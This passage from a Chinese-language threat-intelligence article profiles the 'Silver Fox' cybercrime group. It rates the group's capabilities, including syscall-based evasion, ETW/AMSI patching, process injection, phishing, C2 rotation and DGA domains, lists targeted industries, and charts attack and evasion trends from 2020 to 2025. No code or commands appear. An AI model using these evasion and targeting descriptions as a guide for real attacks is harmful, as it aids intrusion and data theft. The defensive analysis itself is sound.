0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">Direct/Indirect Syscall、ETW/AMSI Patch、进程注入全栈</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">社工钓鱼能力</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">高度定制化钓鱼内容，行业话术精准</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">基础设施运营</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">C2快速轮换，CDN托管，DGA域名</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">自动化程度</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">Builder工具链完善，一机一密动态生成</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">反溯源能力</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">多层代理，基础设施快速废弃，地域限制执行</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.4 银狐木马技术演进概览</span></span></h3><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: justify;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.412962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100013014" src="https://wechat2rss.xlab.app/img-proxy/?k=6c99097f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FM5H82XuSHY6KbPtsnF3hbZmpdVVAIZnsVYibJNumPbSeSkOoL2jJvwYF5qDMHJSIulX62sBlD5RwSicHIfPkG3QUwj2kBZgkAdQUhvkib0rvPo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: justify;font-weight: normal;margin: 5px 0px 0px;padding: 0px;"></figcaption></figure><hr style="margin: 10px 0px;padding: 0px;border-style: solid none none;border-width: 1px 3px 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 0px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、银狐黑产组织攻击活动</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 攻击目标行业</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">银狐组织的攻击具有明确的行业偏好，近年来不断扩展攻击面：</span></p><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;text-align: justify;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">行业</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">攻击目的</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">攻击强度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">近年趋势</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">财税/审计</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取财务数据、税务信息、客户资料</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★★</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">持续高频，年度汇算清缴期为攻击高峰</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">政务/公共事业</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取政务数据、公民信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">政策通知类社工诱饵效果显著</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">金融</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取资金账户、交易数据</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">银行/券商/保险均涉及</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">电商/零售</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取客户数据、交易信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★☆☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">通过IM社工投递为主</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">教育/培训</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取学生/家长信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★☆☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2023年后显著增加</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">医疗</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取患者数据、医疗信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★☆☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">近年新增攻击面</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">制造业</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取商业机密、供应链信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★☆☆☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">供应链攻击切入</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">物流/快递</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">窃取物流数据、客户信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★☆☆☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">数据倒卖为主要目的</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 近年来攻击态势变化</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 攻击频率与规模变化</span></span></h4><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">年份</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">攻击频次趋势</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">样本变种数量趋势</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">主要变化</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2020</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">基线活跃</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">少量变种</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">首次披露，聚焦财税行业</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2021</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">显著上升</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">数十变种</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">扩展至政务、IM投递，白加黑普及</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2022</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">持续上升</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">百余变种</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">Syscall免杀引入，SEO投毒增加</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2023</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">高频攻击</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">数百变种</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">全行业扩散，供应链投递出现</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2024</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">爆发式增长</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">千余变种</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">EDR深度对抗，无文件攻击增多</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2025</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">持续高位</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">持续增长</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">AI辅助攻击，自动化流水线</span></p></td></tr></tbody></table></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 攻击手法演变趋势</span></span></h4><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: justify;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100013015" src="https://wechat2rss.xlab.app/img-proxy/?k=a2a82457&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY6dmXHpzQpwVQqcclnNK21Kdqx9tb9tJsib7JQz3o9ygYvGhJjkkRD0yBZbmDogL0Bk8mOmgHhSNoV61kkSK2MjyZuHIyFIoK84%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: justify;font-weight: normal;margin: 5px 0px 0px;padding: 0px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 免杀对抗态势变化</span></span></h4><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;text-align: justify;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">阶段</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">时间段</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">核心免杀手段</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">对抗效果</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1.0时代</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2020-2021H1</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">简单加壳、文件属性伪造、宏代码混淆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span 